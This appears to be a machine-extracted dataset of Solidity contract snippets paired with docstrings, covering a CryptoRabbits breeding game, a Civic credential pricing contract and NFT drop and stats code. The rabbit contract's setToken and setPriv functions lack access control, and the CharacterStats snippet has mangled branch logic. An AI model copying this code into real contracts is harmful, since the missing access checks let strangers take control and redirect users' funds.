setTokenBunny(uint32 mother, uint32 sire, uint birthblock, uint birthCount, uint birthLastTime, uint genome, address _owner, uint DNK) external returns(uint32); function publicSetTokenBunnyTest(uint32 mother, uint32 sire, uint birthblock, uint birthCount, uint birthLastTime, uint genome, address _owner, uint DNK) public; function setMotherCount( uint32 _bunny, uint count) external; function setRabbitSirePrice( uint32 _bunny, uint count) external; function setAllowedChangeSex( uint32 _bunny, bool canBunny) public; function setTotalSalaryBunny( uint32 _bunny, uint count) external; function setRabbitMother(uint32 children, uint32[5] _m) external; function setDNK( uint32 _bunny, uint dnk) external; function setGiffBlock(uint32 _bunny, bool blocked) external; function transferFrom(address _from, address _to, uint32 _tokenId) public returns(bool); function setOwnerGennezise(address _to, bool canYou) external; function setBirthCount(uint32 _bunny, uint birthCount) external; function setBirthblock(uint32 _bunny, uint birthblock) external; function setBirthLastTime(uint32 _bunny, uint birthLastTime) external; ////// getters function getOwnerGennezise(address _to) public view returns(bool); function getAllowedChangeSex(uint32 _bunny) public view returns(bool); function getRabbitSirePrice(uint32 _bunny) public view returns(uint); function getTokenOwner(address owner) public view returns(uint total, uint32[] list); function getMotherCount(uint32 _mother) public view returns(uint); function getTotalSalaryBunny(uint32 _bunny) public view returns(uint); function getRabbitMother( uint32 mother) public view returns(uint32[5]); function getRabbitMotherSumm(uint32 mother) public view returns(uint count); function getDNK(uint32 bunnyid) public view returns(uint); function getSex(uint32 _bunny) public view returns(bool); function isUIntPublic() public view returns(bool); function balanceOf(address _owner) public view returns (uint); function totalSupply() public view returns (uint total); function ownerOf(uint32 _tokenId) public view returns (address owner); function getBunnyInfo(uint32 _bunny) external view returns( uint32 mother, uint32 sire, uint birthblock, uint birthCount, uint birthLastTime, bool role, uint genome, bool interbreed, uint leftTime, uint lastTime, uint price, uint motherSumm); function getTokenBunny(uint32 _bunny) public view returns(uint32 mother, uint32 sire, uint birthblock, uint birthCount, uint birthLastTime, uint genome); function getGiffBlock(uint32 _bunny) public view returns(bool); function getGenome(uint32 _bunny) public view returns( uint); function getParent(uint32 _bunny) public view returns(uint32 mother, uint32 sire); function getBirthLastTime(uint32 _bunny) public view returns(uint); function getBirthCount(uint32 _bunny) public view returns(uint); function getBirthblock(uint32 _bunny) public view returns(uint); } contract BaseRabbit is Whitelist { event EmotherCount(uint32 mother, uint summ); event ChengeSex(uint32 bunnyId, bool sex, uint256 price); event SalaryBunny(uint32 bunnyId, uint cost); event BunnyDescription(uint32 bunnyId, string name); event CoolduwnMother(uint32 bunnyId, uint num); event Referral(address from, uint32 matronID, uint32 childID, uint currentTime); event Approval(address owner, address approved, uint32 tokenId); event OwnerBunnies(address owner, uint32 tokenId); event Transfer(address from, address to, uint32 tokenId); TokenBunnyInterface TokenBunny; PrivateRabbitInterface privateContract; /** * @dev setting up a new address for a private contract */ function setToken(address _addressTokenBunny ) public returns(bool) { addressTokenBunny = _addressTokenBunny; TokenBunny = TokenBunnyInterface(_addressTokenBunny); } /** * @dev setting up a new address for a private contract */ function setPriv(address _privAddress) public returns(bool) { privAddress = _privAddress; privateContract = PrivateRabbitInterface(_privAddress); } function isPriv() public view returns(bool) { return privateContract.isUIntPrivate(); } modifier checkPrivate() { require(isPriv()); _; } using SafeMath for uint256; bool pauseSave = false; uint256 bigPrice = 0.005 ether; uint public commission_system = 5; // ID the last seal uint public totalGen0 = 0; // ID the last seal // uint public timeRangeCreateGen0 = 1800; uint public promoGen0 = 15000; bool public promoPause = false; function setPromoGen0(uint _promoGen0) public onlyWhitelisted() { promoGen0 = _promoGen0; } function setPromoPause() public onlyWhitelisted() { promoPause = !promoPause; } function setBigPrice(uint _bigPrice) public onlyWhitelisted() { bigPrice = _bigPrice; } uint32[12] public cooldowns = [ uint32(1 minutes), uint32(2 minutes), uint32(4 minutes), uint32(8 minutes), uint32(16 minutes), uint32(32 minutes), uint32(1 hours), uint32(2 hours), uint32(4 hours), uint32(8 hours), uint32(16 hours), uint32(1 days) ]; struct Rabbit { // parents uint32 mother; uint32 sire; // block in which a rabbit was born uint birthblock; // number of births or how many times were offspring uint birthCount; // The time when Rabbit last gave birth uint birthLastTime; //indexGenome uint genome; } } contract BodyRabbit is BaseRabbit { uint public totalBunny = 0; string public constant name = "CryptoRabbits"; string public constant symbol = "CRB"; constructor() public { setPriv(privAddress); setToken(addressTokenBunny ); // fcontr = true; } function ownerOf(uint32 _tokenId) public view returns (address owner) { return TokenBunny.ownerOf(_tokenId); } function getSirePrice(uint32 _tokenId) public view returns(uint) { if(TokenBunny.getRabbitSirePrice(_tokenId) != 0){ uint procent = (TokenBunny.getRabbitSirePrice(_tokenId) / 100); uint res = procent.mul(25); uint system = procent.mul(commission_system); res = res.add( TokenBunny.getRabbitSirePrice(_tokenId)); return res.add(system); } else { return 0; } } function transferFrom(address _from, address _to, uint32 _tokenId) public onlyWhitelisted() returns(bool) { if(TokenBunny.transferFrom(_from, _to, _tokenId)){ emit Transfer(_from, _to, _tokenId); return true; } } function isPauseSave() public view returns(bool) { return !pauseSave; } function isPromoPause() public view returns(bool) { if (getInWhitelist(msg.sender)) { return true; } else { return !promoPause; } } function setPauseSave() public onlyWhitelisted() returns(bool) { return pauseSave = !pauseSave; } function getTokenOwner(address owner) public view returns(uint total, uint32[] list) { (total, list) = TokenBunny.getTokenOwner(owner); } function setRabbitMother(uint32 children, uint32 mother) internal { require(children != mother); uint32[11] memory pullMother; uint32[5] memory rabbitMother = TokenBunny.getRabbitMother(mother); uint32[5] memory arrayChildren; uint start = 0; for (uint i = 0; i < 5; i++) { if (rabbitMother[i] != 0) { pullMother[start] = uint32(rabbitMother[i]); start++; } } pullMother[start] = mother; start++; for (uint m = 0; m < 5; m++) { if(start > 5){ arrayChildren[m] = pullMother[(m+1)]; }else{ arrayChildren[m] = pullMother[m]; } } TokenBunny.setRabbitMother(children, arrayChildren); uint c = TokenBunny.getMotherCount(mother); TokenBunny.setMotherCount( mother, c.add(1)); } // function setMotherCount(uint32 _mother) internal { //internal // // uint c = TokenBunny.getMotherCount(_mother); //TokenBunny.setMotherCount(_mother, c.add(1)); // emit EmotherCount(_mother, c.add(1)); // } function uintToBytes(uint v) internal pure returns (bytes32 ret) { if (v == 0) { ret = '0'; } else { while (v > 0) { ret = bytes32(uint(ret) / (2 ** 8)); ret |= bytes32(((v % 10) + 48) * 2 ** (8 * 31)); v /= 10; } } return ret; } function sendMoney(address _to, uint256 _money) internal { _to.transfer((_money/100)*95); ownerMoney.transfer((_money/100)*5); } function getOwnerGennezise(address _to) public view returns(bool) { return TokenBunny.getOwnerGennezise(_to); } /** * @param _bunny A rabbit on which we receive information */ function getBreed(uint32 _bunny) public view returns(bool interbreed) { uint birtTime = 0; uint birthCount = 0; (, , , birthCount, birtTime, ) = TokenBunny.getTokenBunny(_bunny); uint lastTime = uint(cooldowns[birthCount]); lastTime = lastTime.add(birtTime); if(lastTime <= now && TokenBunny.getSex(_bunny) == false) { interbreed = true; } } /** * we get cooldown */ function getcoolduwn(uint32 _mother) public view returns(uint lastTime, uint cd, uint lefttime) { uint birthLastTime; (, , , cd, birthLastTime, ) = TokenBunny.getTokenBunny(_mother); if(cd > 11) { cd = 11; } // time when I can give birth lastTime = (cooldowns[cd] + birthLastTime); if(lastTime > now) { // I can not give birth, it remains until delivery lefttime = lastTime.sub(now); } } function getMotherCount(uint32 _mother) public view returns(uint) { //internal return TokenBunny.getMotherCount(_mother); } function getTotalSalaryBunny(uint32 _bunny) public view returns(uint) { //internal return TokenBunny.getTotalSalaryBunny(_bunny); } function getRabbitMother( uint32 mother) public view returns(uint32[5]) { return TokenBunny.getRabbitMother(mother); } function getRabbitMotherSumm(uint32 mother) public view returns(uint count) { //internal uint32[5] memory rabbitMother = TokenBunny.getRabbitMother(mother); for (uint m = 0; m < 5 ; m++) { if(rabbitMother[m] != 0 ) { count++; } } } function getRabbitDNK(uint32 bunnyid) public view returns(uint) { return TokenBunny.getDNK(bunnyid); } function isUIntPublic() public view returns(bool) { require(isPauseSave()); return true; } } /** * Basic actions for the transfer of rights of rabbits */ contract BunnyGame is BodyRabbit { event CreateChildren(uint32 matron, uint32 sire, uint32 child); /*** * @dev create a new gene and put it up for sale, this operation takes place on the server */ function createGennezise(uint32 _matron) public { bool promo = false; require(isPriv()); require(isPauseSave()); require(isPromoPause()); if (totalGen0 > promoGen0) { require(getInWhitelist(msg.sender)); } else if (!(getInWhitelist(msg.sender))) { // promo action require(!TokenBunny.getOwnerGennezise(msg.sender)); TokenBunny.setOwnerGennezise(msg.sender, true); promo = true; } uint localdnk = privateContract.getNewRabbit(msg.sender); uint32 _bunnyid = TokenBunny.setTokenBunny(0, 0, block.number, 0, 0, 0, msg.sender, localdnk); totalGen0++; setRabbitMother(_bunnyid, _matron); if(_matron != 0){ emit Referral(msg.sender, _matron, _bunnyid, block.timestamp); } if (promo) { TokenBunny.setGiffBlock(_bunnyid, true); } } function getGenomeChildren(uint32 _matron, uint32 _sire) internal view returns(uint) { uint genome; if (TokenBunny.getGenome(_matron) >= TokenBunny.getGenome(_sire)) { genome = TokenBunny.getGenome(_matron); } else { genome = TokenBunny.getGenome(_sire); } return genome.add(1); } /** * create a new rabbit, according to the cooldown * @param _matron - mother who takes into account the cooldown * @param _sire - the father who is rewarded for mating for the fusion of genes */ function createChildren(uint32 _matron, uint32 _sire) public payable returns(uint32) { require(isPriv()); require(isPauseSave()); require(TokenBunny.ownerOf(_matron) == msg.sender); // Checking for the role require(TokenBunny.getSex(_sire) == true); require(_matron != _sire); require(getBreed(_matron)); // Checking the money require(msg.value >= getSirePrice(_sire)); uint genome = getGenomeChildren(_matron, _sire); uint localdnk = privateContract.mixDNK(TokenBunny.getDNK(_matron), TokenBunny.getDNK(_sire), genome); uint32 bunnyid = TokenBunny.setTokenBunny(_matron, _sire, block.number, 0, 0, genome, msg.sender, localdnk); uint _moneyMother = TokenBunny.getRabbitSirePrice(_sire).div(4); _transferMoneyMother(_matron, _moneyMother); TokenBunny.ownerOf(_sire).transfer( TokenBunny.getRabbitSirePrice(_sire) ); uint system = TokenBunny.getRabbitSirePrice(_sire).div(100); system = system.mul(commission_system); ownerMoney.transfer(system); // refund previous bidder coolduwnUP(_matron); setRabbitMother(bunnyid, _matron); return bunnyid; } /** * Set the cooldown for childbirth * @param _mother - mother for which cooldown */ function coolduwnUP(uint32 _mother) internal { require(isPauseSave()); uint coolduwn = TokenBunny.getBirthCount(_mother).add(1); TokenBunny.setBirthCount(_mother, coolduwn); TokenBunny.setBirthLastTime(_mother, now); emit CoolduwnMother(_mother, TokenBunny.getBirthCount(_mother)); } /** * @param _mother - matron send money for parrent * @param _valueMoney - current sale */ function _transferMoneyMother(uint32 _mother, uint _valueMoney) internal { require(isPauseSave()); require(_valueMoney > 0); if (getRabbitMotherSumm(_mother) > 0) { uint pastMoney = _valueMoney/getRabbitMotherSumm(_mother); for (uint i=0; i < getRabbitMotherSumm(_mother); i++) { if ( TokenBunny.getRabbitMother(_mother)[i] != 0) { uint32 _parrentMother = TokenBunny.getRabbitMother(_mother)[i]; address add = TokenBunny.ownerOf(_parrentMother); // pay salaries TokenBunny.setMotherCount(_parrentMother, TokenBunny.getMotherCount(_parrentMother).add(1)); TokenBunny.setTotalSalaryBunny( _parrentMother, TokenBunny.getTotalSalaryBunny(_parrentMother).add(pastMoney)); emit SalaryBunny(_parrentMother, TokenBunny.getTotalSalaryBunny(_parrentMother)); add.transfer(pastMoney); // refund previous bidder } } } } /** * @dev We set the cost of renting our genes * @param price rent price */ function setRabbitSirePrice(uint32 _rabbitid, uint price) public { require(isPauseSave()); require(TokenBunny.ownerOf(_rabbitid) == msg.sender); require(price > bigPrice); require(TokenBunny.getAllowedChangeSex(_rabbitid)); require(TokenBunny.getRabbitSirePrice(_rabbitid) != price); uint lastTime; (lastTime,,) = getcoolduwn(_rabbitid); require(now >= lastTime); TokenBunny.setRabbitSirePrice(_rabbitid, price); // uint gen = rabbits[(_rabbitid-1)].genome; // sireGenom[gen].push(_rabbitid); emit ChengeSex(_rabbitid, true, getSirePrice(_rabbitid)); } /** * @dev We set the cost of renting our genes */ function setSireStop(uint32 _rabbitid) public returns(bool) { require(isPauseSave()); require(TokenBunny.getRabbitSirePrice(_rabbitid) !=0); require(TokenBunny.ownerOf(_rabbitid) == msg.sender); // require(rabbits[(_rabbitid-1)].role == 0); TokenBunny.setRabbitSirePrice( _rabbitid, 0); // deleteSire(_rabbitid); emit ChengeSex(_rabbitid, false, 0); return true; } function getMoney(uint _value) public onlyOwner { require(address(this).balance >= _value); ownerMoney.transfer(_value); } }
We set the cost of renting our genes/ require(rabbits[(_rabbitid-1)].role == 0); deleteSire(_rabbitid);
function setSireStop(uint32 _rabbitid) public returns(bool) { require(isPauseSave()); require(TokenBunny.getRabbitSirePrice(_rabbitid) !=0); require(TokenBunny.ownerOf(_rabbitid) == msg.sender); TokenBunny.setRabbitSirePrice( _rabbitid, 0); emit ChengeSex(_rabbitid, false, 0); return true; }
12,677,764
pragma solidity ^0.4.24; pragma experimental ABIEncoderV2; import "openzeppelin-solidity/contracts/AddressUtils.sol"; import "./CvcPricingInterface.sol"; import "../idv/CvcValidatorRegistryInterface.sol"; import "../ontology/CvcOntologyInterface.sol"; import "../upgradeability/Initializable.sol"; import "../upgradeability/EternalStorage.sol"; import "../upgradeability/Pausable.sol"; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; /** * @title CvcPricing * @dev This contract stores actual prices for Credential Items available for sale. * It allows registered Identity Validators to set or delete prices for specific Credential Items. * * The pricing contract depends on other marketplace contracts, such as: * CvcOntology - to verify that Credential Item is available on the market and can be offered for sale. * CvcValidatorRegistry - to ensure that only registered Identity Validators can use pricing services. * Transactions from unknown accounts will be rejected. */ contract CvcPricing is EternalStorage, Initializable, Pausable, CvcPricingInterface { using SafeMath for uint256; /** Data structures and storage layout: struct Price { uint256 value; bytes32 credentialItemId; address idv; } address cvcOntology; address idvRegistry; uint256 pricesCount; bytes32[] pricesIds; mapping(bytes32 => uint256) pricesIndices; mapping(bytes32 => Price) prices; **/ /// Total supply of CVC tokens. uint256 constant private CVC_TOTAL_SUPPLY = 1e17; /// The fallback price introduced to be returned when credential price is undefined. /// The number is greater than CVC total supply, so it makes it impossible to transact with (e.g. place to escrow). uint256 constant private FALLBACK_PRICE = CVC_TOTAL_SUPPLY + 1; // solium-disable-line zeppelin/no-arithmetic-operations /// As zero price and undefined price are virtually indistinguishable, /// a special value is introduced to represent zero price. /// It equals to max unsigned integer which makes it impossible to transact with, hence should never be returned. uint256 constant private ZERO_PRICE = ~uint256(0); /** * @dev Constructor * @param _ontology CvcOntology contract address. * @param _idvRegistry CvcValidatorRegistry contract address. */ constructor(address _ontology, address _idvRegistry) public { initialize(_ontology, _idvRegistry, msg.sender); } /** * @dev Throws if called by unregistered IDV. */ modifier onlyRegisteredValidator() { require(idvRegistry().exists(msg.sender), "Identity Validator is not registered"); _; } /** * @dev Sets the price for Credential Item of specific type, name and version. * The price is associated with IDV address (sender). * @param _credentialItemType Credential Item type. * @param _credentialItemName Credential Item name. * @param _credentialItemVersion Credential Item version. * @param _price Credential Item price. */ function setPrice( string _credentialItemType, string _credentialItemName, string _credentialItemVersion, uint256 _price ) external onlyRegisteredValidator whenNotPaused { // Check price value upper bound. require(_price <= CVC_TOTAL_SUPPLY, "Price value cannot be more than token total supply"); // Check Credential Item ID to verify existence. bytes32 credentialItemId; bool deprecated; (credentialItemId, , , , , , , deprecated) = ontology().getByTypeNameVersion( _credentialItemType, _credentialItemName, _credentialItemVersion ); // Prevent setting price for unknown credential items. require(credentialItemId != 0x0, "Cannot set price for unknown credential item"); require(deprecated == false, "Cannot set price for deprecated credential item"); // Calculate price ID. bytes32 id = calculateId(msg.sender, credentialItemId); // Register new record (when price record has no associated Credential Item ID). if (getPriceCredentialItemId(id) == 0x0) { registerNewRecord(id); } // Save the price. setPriceIdv(id, msg.sender); setPriceCredentialItemId(id, credentialItemId); setPriceValue(id, _price); emit CredentialItemPriceSet( id, _price, msg.sender, _credentialItemType, _credentialItemName, _credentialItemVersion, credentialItemId ); } /** * @dev Deletes the price for Credential Item of specific type, name and version. * @param _credentialItemType Credential Item type. * @param _credentialItemName Credential Item name. * @param _credentialItemVersion Credential Item version. */ function deletePrice( string _credentialItemType, string _credentialItemName, string _credentialItemVersion ) external whenNotPaused { // Lookup Credential Item. bytes32 credentialItemId; (credentialItemId, , , , , , ,) = ontology().getByTypeNameVersion( _credentialItemType, _credentialItemName, _credentialItemVersion ); // Calculate Price ID to address individual data items. bytes32 id = calculateId(msg.sender, credentialItemId); // Ensure the price existence. Check whether Credential Item is associated. credentialItemId = getPriceCredentialItemId(id); require(credentialItemId != 0x0, "Cannot delete unknown price record"); // Delete the price data. deletePriceIdv(id); deletePriceCredentialItemId(id); deletePriceValue(id); unregisterRecord(id); emit CredentialItemPriceDeleted( id, msg.sender, _credentialItemType, _credentialItemName, _credentialItemVersion, credentialItemId ); } /** * @dev Returns the price set by IDV for Credential Item of specific type, name and version. * @param _idv IDV address. * @param _credentialItemType Credential Item type. * @param _credentialItemName Credential Item name. * @param _credentialItemVersion Credential Item version. * @return bytes32 Price ID. * @return uint256 Price value. * @return address IDV address. * @return string Credential Item type. * @return string Credential Item name. * @return string Credential Item version. */ function getPrice( address _idv, string _credentialItemType, string _credentialItemName, string _credentialItemVersion ) external view onlyInitialized returns ( bytes32 id, uint256 price, address idv, string credentialItemType, string credentialItemName, string credentialItemVersion, bool deprecated ) { // Lookup Credential Item. bytes32 credentialItemId; (credentialItemId, credentialItemType, credentialItemName, credentialItemVersion, , , , deprecated) = ontology().getByTypeNameVersion( _credentialItemType, _credentialItemName, _credentialItemVersion ); idv = _idv; id = calculateId(idv, credentialItemId); price = getPriceValue(id); if (price == FALLBACK_PRICE) { return (0x0, price, 0x0, "", "", "", false); } } /** * @dev Returns the price by Credential Item ID. * @param _idv IDV address. * @param _credentialItemId Credential Item ID. * @return bytes32 Price ID. * @return uint256 Price value. * @return address IDV address. * @return string Credential Item type. * @return string Credential Item name. * @return string Credential Item version. */ function getPriceByCredentialItemId(address _idv, bytes32 _credentialItemId) external view returns ( bytes32 id, uint256 price, address idv, string credentialItemType, string credentialItemName, string credentialItemVersion, bool deprecated ) { return getPriceById(calculateId(_idv, _credentialItemId)); } /** * @dev Returns all Credential Item prices. * @return CredentialItemPrice[] */ function getAllPrices() external view onlyInitialized returns (CredentialItemPrice[]) { uint256 count = getCount(); CredentialItemPrice[] memory prices = new CredentialItemPrice[](count); for (uint256 i = 0; i < count; i++) { bytes32 id = getRecordId(i); bytes32 credentialItemId = getPriceCredentialItemId(id); string memory credentialItemType; string memory credentialItemName; string memory credentialItemVersion; bool deprecated; (, credentialItemType, credentialItemName, credentialItemVersion, , , , deprecated) = ontology().getById(credentialItemId); prices[i] = CredentialItemPrice( id, getPriceValue(id), getPriceIdv(id), credentialItemType, credentialItemName, credentialItemVersion, deprecated ); } return prices; } /** * @dev Returns all IDs of registered Credential Item prices. * @return bytes32[] */ function getAllIds() external view onlyInitialized returns(bytes32[]) { uint256 count = getCount(); bytes32[] memory ids = new bytes32[](count); for (uint256 i = 0; i < count; i++) { ids[i] = getRecordId(i); } return ids; } /** * @dev Contract initialization method. * @param _ontology CvcOntology contract address. * @param _idvRegistry CvcValidatorRegistry contract address. * @param _owner Owner address */ function initialize(address _ontology, address _idvRegistry, address _owner) public initializes { require(AddressUtils.isContract(_ontology), "Initialization error: no contract code at ontology contract address"); require(AddressUtils.isContract(_idvRegistry), "Initialization error: no contract code at IDV registry contract address"); // cvcOntology = _ontology; addressStorage[keccak256("cvc.ontology")] = _ontology; // idvRegistry = _idvRegistry; addressStorage[keccak256("cvc.idv.registry")] = _idvRegistry; // Initialize current implementation owner address. setOwner(_owner); } /** * @dev Returns the price by ID. * @param _id Price ID * @return bytes32 Price ID. * @return uint256 Price value. * @return address IDV address. * @return string Credential Item type. * @return string Credential Item name. * @return string Credential Item version. */ function getPriceById(bytes32 _id) public view onlyInitialized returns ( bytes32 id, uint256 price, address idv, string credentialItemType, string credentialItemName, string credentialItemVersion, bool deprecated ) { // Always return price (could be a fallback price when not set). price = getPriceValue(_id); // Check whether Credential Item is associated. This is mandatory requirement for all existing prices. bytes32 credentialItemId = getPriceCredentialItemId(_id); if (credentialItemId != 0x0) { // Return ID and IDV address for existing entry only. id = _id; idv = getPriceIdv(_id); (, credentialItemType, credentialItemName, credentialItemVersion, , , , deprecated) = ontology().getById(credentialItemId); } } /** * @dev Returns instance of CvcOntologyInterface. * @return CvcOntologyInterface */ function ontology() public view returns (CvcOntologyInterface) { // return CvcOntologyInterface(cvcOntology); return CvcOntologyInterface(addressStorage[keccak256("cvc.ontology")]); } /** * @dev Returns instance of CvcValidatorRegistryInterface. * @return CvcValidatorRegistryInterface */ function idvRegistry() public view returns (CvcValidatorRegistryInterface) { // return CvcValidatorRegistryInterface(idvRegistry); return CvcValidatorRegistryInterface(addressStorage[keccak256("cvc.idv.registry")]); } /** * @dev Returns price record count. * @return uint256 */ function getCount() internal view returns (uint256) { // return pricesCount; return uintStorage[keccak256("prices.count")]; } /** * @dev Increments price record counter. */ function incrementCount() internal { // pricesCount = getCount().add(1); uintStorage[keccak256("prices.count")] = getCount().add(1); } /** * @dev Decrements price record counter. */ function decrementCount() internal { // pricesCount = getCount().sub(1); uintStorage[keccak256("prices.count")] = getCount().sub(1); } /** * @dev Returns price ID by index. * @param _index Price record index. * @return bytes32 */ function getRecordId(uint256 _index) internal view returns (bytes32) { // return pricesIds[_index]; return bytes32Storage[keccak256(abi.encodePacked("prices.ids.", _index))]; } /** * @dev Index new price record. * @param _id The price ID. */ function registerNewRecord(bytes32 _id) internal { bytes32 indexSlot = keccak256(abi.encodePacked("prices.indices.", _id)); // Prevent from registering same ID twice. // require(pricesIndices[_id] == 0); require(uintStorage[indexSlot] == 0, "Integrity error: price with the same ID is already registered"); uint256 index = getCount(); // Store record ID against index. // pricesIds[index] = _id; bytes32Storage[keccak256(abi.encodePacked("prices.ids.", index))] = _id; // Maintain reversed index to ID mapping to ensure O(1) deletion. // Store n+1 value and reserve zero value for not indexed records. uintStorage[indexSlot] = index.add(1); incrementCount(); } /** * @dev Deletes price record from index. * @param _id The price ID. */ function unregisterRecord(bytes32 _id) internal { // Since the order of price records is not guaranteed, we can make deletion more efficient // by replacing record we want to delete with the last record, hence avoid reindex. // Calculate deletion record ID slot. bytes32 deletionIndexSlot = keccak256(abi.encodePacked("prices.indices.", _id)); // uint256 deletionIndex = pricesIndices[_id].sub(1); uint256 deletionIndex = uintStorage[deletionIndexSlot].sub(1); bytes32 deletionIdSlot = keccak256(abi.encodePacked("prices.ids.", deletionIndex)); // Calculate last record ID slot. uint256 lastIndex = getCount().sub(1); bytes32 lastIdSlot = keccak256(abi.encodePacked("prices.ids.", lastIndex)); // Calculate last record index slot. bytes32 lastIndexSlot = keccak256(abi.encodePacked("prices.indices.", bytes32Storage[lastIdSlot])); // Copy last record ID into the empty slot. // pricesIds[deletionIdSlot] = pricesIds[lastIdSlot]; bytes32Storage[deletionIdSlot] = bytes32Storage[lastIdSlot]; // Make moved ID index point to the the correct record. // pricesIndices[lastIndexSlot] = pricesIndices[deletionIndexSlot]; uintStorage[lastIndexSlot] = uintStorage[deletionIndexSlot]; // Delete last record ID. // delete pricesIds[lastIndex]; delete bytes32Storage[lastIdSlot]; // Delete reversed index. // delete pricesIndices[_id]; delete uintStorage[deletionIndexSlot]; decrementCount(); } /** * @dev Returns price value. * @param _id The price ID. * @return uint256 */ function getPriceValue(bytes32 _id) internal view returns (uint256) { // uint256 value = prices[_id].value; uint256 value = uintStorage[keccak256(abi.encodePacked("prices.", _id, ".value"))]; // Return fallback price if price is not set for existing Credential Item. // Since we use special (non-zero) value for zero price, actual '0' means the price was never set. if (value == 0) { return FALLBACK_PRICE; } // Convert from special zero representation value. if (value == ZERO_PRICE) { return 0; } return value; } /** * @dev Saves price value. * @param _id The price ID. * @param _value The price value. */ function setPriceValue(bytes32 _id, uint256 _value) internal { // Save the price (convert to special zero representation value if necessary). // prices[_id].value = (_value == 0) ? ZERO_PRICE : _value; uintStorage[keccak256(abi.encodePacked("prices.", _id, ".value"))] = (_value == 0) ? ZERO_PRICE : _value; } /** * @dev Deletes price value. * @param _id The price ID. */ function deletePriceValue(bytes32 _id) internal { // delete prices[_id].value; delete uintStorage[keccak256(abi.encodePacked("prices.", _id, ".value"))]; } /** * @dev Returns Credential Item ID the price is set for. * @param _id The price ID. * @return bytes32 */ function getPriceCredentialItemId(bytes32 _id) internal view returns (bytes32) { // return prices[_id].credentialItemId; return bytes32Storage[keccak256(abi.encodePacked("prices.", _id, ".credentialItemId"))]; } /** * @dev Saves price Credential Item ID * @param _id The price ID. * @param _credentialItemId Associated Credential Item ID. */ function setPriceCredentialItemId(bytes32 _id, bytes32 _credentialItemId) internal { // prices[_id].credentialItemId = _credentialItemId; bytes32Storage[keccak256(abi.encodePacked("prices.", _id, ".credentialItemId"))] = _credentialItemId; } /** * @dev Deletes price Credential Item ID. * @param _id The price ID. */ function deletePriceCredentialItemId(bytes32 _id) internal { // delete prices[_id].credentialItemId; delete bytes32Storage[keccak256(abi.encodePacked("prices.", _id, ".credentialItemId"))]; } /** * @dev Returns price IDV address. * @param _id The price ID. * @return address */ function getPriceIdv(bytes32 _id) internal view returns (address) { // return prices[_id].idv; return addressStorage[keccak256(abi.encodePacked("prices.", _id, ".idv"))]; } /** * @dev Saves price IDV address. * @param _id The price ID. * @param _idv IDV address. */ function setPriceIdv(bytes32 _id, address _idv) internal { // prices[_id].idv = _idv; addressStorage[keccak256(abi.encodePacked("prices.", _id, ".idv"))] = _idv; } /** * @dev Deletes price IDV address. * @param _id The price ID. */ function deletePriceIdv(bytes32 _id) internal { // delete prices[_id].idv; delete addressStorage[keccak256(abi.encodePacked("prices.", _id, ".idv"))]; } /** * @dev Calculates price ID. * @param _idv IDV address. * @param _credentialItemId Credential Item ID. * @return bytes32 */ function calculateId(address _idv, bytes32 _credentialItemId) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_idv, ".", _credentialItemId)); } }
Deletes the price for Credential Item of specific type, name and version. _credentialItemType Credential Item type. _credentialItemName Credential Item name. _credentialItemVersion Credential Item version./ Lookup Credential Item. Calculate Price ID to address individual data items. Ensure the price existence. Check whether Credential Item is associated. Delete the price data.
function deletePrice( string _credentialItemType, string _credentialItemName, string _credentialItemVersion ) external whenNotPaused { bytes32 credentialItemId; (credentialItemId, , , , , , ,) = ontology().getByTypeNameVersion( _credentialItemType, _credentialItemName, _credentialItemVersion ); bytes32 id = calculateId(msg.sender, credentialItemId); credentialItemId = getPriceCredentialItemId(id); require(credentialItemId != 0x0, "Cannot delete unknown price record"); deletePriceIdv(id); deletePriceCredentialItemId(id); deletePriceValue(id); unregisterRecord(id); emit CredentialItemPriceDeleted( id, msg.sender, _credentialItemType, _credentialItemName, _credentialItemVersion, credentialItemId ); }
973,331
./full_match/42161/0xd09556ECE9783f9AABba43e1df6A04a8218e7ca1/sources/project_/contracts/mercenaries/CharacterStats.sol
Import or generate character stats collectionAddress the address of the collection wrappedTokenID the id of the NFT to release Calculate the underlying token hash Ensure the stats haven't previously been generated If collection is native Get Native Character stats Otherwise generate some random stats Define array to store random numbers Set stat values
function _storeStats(address collectionAddress, uint256 wrappedTokenID) internal isRegistered(collectionAddress) { uint256 stamina; uint256 strength; uint256 speed; uint256 courage; uint256 intelligence; uint256 health; uint256 morale; bytes32 wrappedTokenHash = hashWrappedToken(collectionAddress, wrappedTokenID); require(stats[wrappedTokenHash].length == 0, "Traits can be created once"); if (characterCollections[collectionAddress].native) { (, stamina, strength, speed, courage, intelligence) = IFarmlandCollectible(collectionAddress).collectibleTraits(wrappedTokenID); uint256 range = characterCollections[collectionAddress].range; uint256 offset = characterCollections[collectionAddress].offset; uint256[] memory randomNumbers = new uint256[](5); randomNumbers = _getRandomNumbers(5, wrappedTokenID); stamina = (randomNumbers[0] % range) + offset; strength = (randomNumbers[1] % range) + offset; speed = (randomNumbers[2] % range) + offset; courage = (randomNumbers[3] % range) + offset; intelligence = (randomNumbers[4] % range) + offset; } { health += health / 2; } { morale += morale / 2; } }
16,306,131
./full_match/10/0xA969bEB73d918f6100163Cd0fba3C586C269bee1/sources/AggregatorProxy.sol
returns the current proposed aggregator/
function proposedAggregator() external view override returns (address) { return address(s_proposedAggregator); }
3,781,202
./full_match/5/0x2888450de7D0cDc02341a08A37EfC326ff53849d/sources/_thirdweb-dev/contracts/extension/DropSinglePhase1155.sol
Lets a contract admin set claim conditions.
function setClaimConditions( uint256 _tokenId, ClaimCondition calldata _condition, bool _resetClaimEligibility ) external override { if (!_canSetClaimConditions()) { revert("Not authorized"); } ClaimCondition memory condition = claimCondition[_tokenId]; bytes32 targetConditionId = conditionId[_tokenId]; uint256 supplyClaimedAlready = condition.supplyClaimed; if (_resetClaimEligibility) { supplyClaimedAlready = 0; targetConditionId = keccak256(abi.encodePacked(_dropMsgSender(), block.number)); } if (supplyClaimedAlready > _condition.maxClaimableSupply) { revert("max supply claimed"); } ClaimCondition memory updatedCondition = ClaimCondition({ startTimestamp: _condition.startTimestamp, maxClaimableSupply: _condition.maxClaimableSupply, supplyClaimed: supplyClaimedAlready, quantityLimitPerWallet: _condition.quantityLimitPerWallet, merkleRoot: _condition.merkleRoot, pricePerToken: _condition.pricePerToken, currency: _condition.currency, metadata: _condition.metadata }); claimCondition[_tokenId] = updatedCondition; conditionId[_tokenId] = targetConditionId; emit ClaimConditionUpdated(_tokenId, _condition, _resetClaimEligibility); }
1,960,962
./partial_match/1/0x3E65f43084F767343C4549a9ac424d89e44F4BEb/sources/contracts/RamenDao.sol
